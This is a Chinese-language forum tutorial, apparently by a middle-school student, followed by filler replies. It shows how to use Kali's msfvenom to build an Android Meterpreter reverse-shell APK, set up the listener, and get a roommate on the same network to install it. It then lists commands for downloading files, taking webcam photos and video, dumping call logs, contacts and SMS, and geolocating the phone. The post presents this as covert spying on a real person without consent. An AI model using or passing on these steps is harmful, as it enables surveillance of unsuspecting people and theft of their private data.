Kali渗透测试之入侵内网安卓

kali机：192.168.1.6
安卓机：192.168.1.17
查看自己kali的ip都会吧！记住了我们一切所有的操作都要在root用户环境下完成

1. ifconfig

复制代码

在去生成一个木马，那么我们肯定就要用到msfconsole这个工具的，那么我们就调用命令在终端打开这个工具
命令如下：

1. msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=8888 R > /root/shell.apk

复制代码

这上面这段代码呢咋介绍呢？LHOST=本地的IP地址    LPORT = 反向连接到主机的端口  R>木马生成的保存输出路径址知道这个就行了
然后输入如下命令：

1. use exploit/multi/handler
   
2. set payload android/meterpreter/reverse_tcp
   
3. set LHOST192.168.1.6
   
4. set LPORT 8888
   
5. 
   

复制代码

se exploit/multi/handler   设置监听模块                   set payload android/meterpreter/reverse_tcp 设置payload为反向tcp连接      set LHOST=设置监听ip   set LPORT =设置监听端口 记住了这里设置的ip和监听端口都要和上面的一样
真么找到你生成的木马呢？你后面不是有吗？自己看自己生成到的是那一个目录去找就行了
就是在root文件夹里

然后把这个生成出来的apk 传到你的好室友的手机上，前提是你的室友必须和你在同一局域网内，把这个木马传到你的好室友手机上之后
输入一下命令：

1. run

复制代码

执行这个命令然后再在你的好室友手机上打开这个apk文件，你就会发现你的kali终端会弹出：

Meterpreter session 1 opened (192.168.1.6:8888-> 192.168.1.17:48308) at 2015-11-24 16:24:34 0800
如果弹出这个就代表你成功了，已成功和你室友的手机创建了一个对话连接，那么下一步就是最重要的一步了，也是我们的目的。

1. cd -->目录切换，命令：cd / 切换到根目录
   
2. search -->搜索文件，命令：search text.jpg
   
3. download -->下载文件，命令：download test.jpg
   
4. webcam_list -->查看摄像头列表，因为手机都是前置和后置摄像头了
   
5. webcam_snap -->拍照一张，需要选用前置或者后置摄像头，命令：webcam_snap -i 1
   
6. webcam_stream -->开启摄像头视频监控，同上，命令：webcam_stream -i 1
   
7. 安卓系统相关命令：
   
8. check_root -->查看当前安卓是否已经root
   
9. dump_calllog -->下载通话记录
   
10. dump_contacts -->下载通讯录
    
11. dump_sms -->下载短信记录
    
12. geolocate -->利用谷歌地图定位（需要安装谷歌地图）

复制代码

输入这些命令就可以开始搞事情了，真么把那个生成的apk文件发送到手机？
其实上传到蓝奏云然后用手机打开蓝奏云下载就行了，其他好像也就没啥了！
这期就到这里，我是匿名者>一个热爱信息技术的初二学生

太生气了，无法HOLD啦 >_<......

淡定，淡定，淡定……

看到这帖子真是高兴！

楼主加油，我们都看好你哦。

强烈支持楼主ing……

66666666666666

ksdmiwda

看到这帖子真是高兴！

ksdmiwda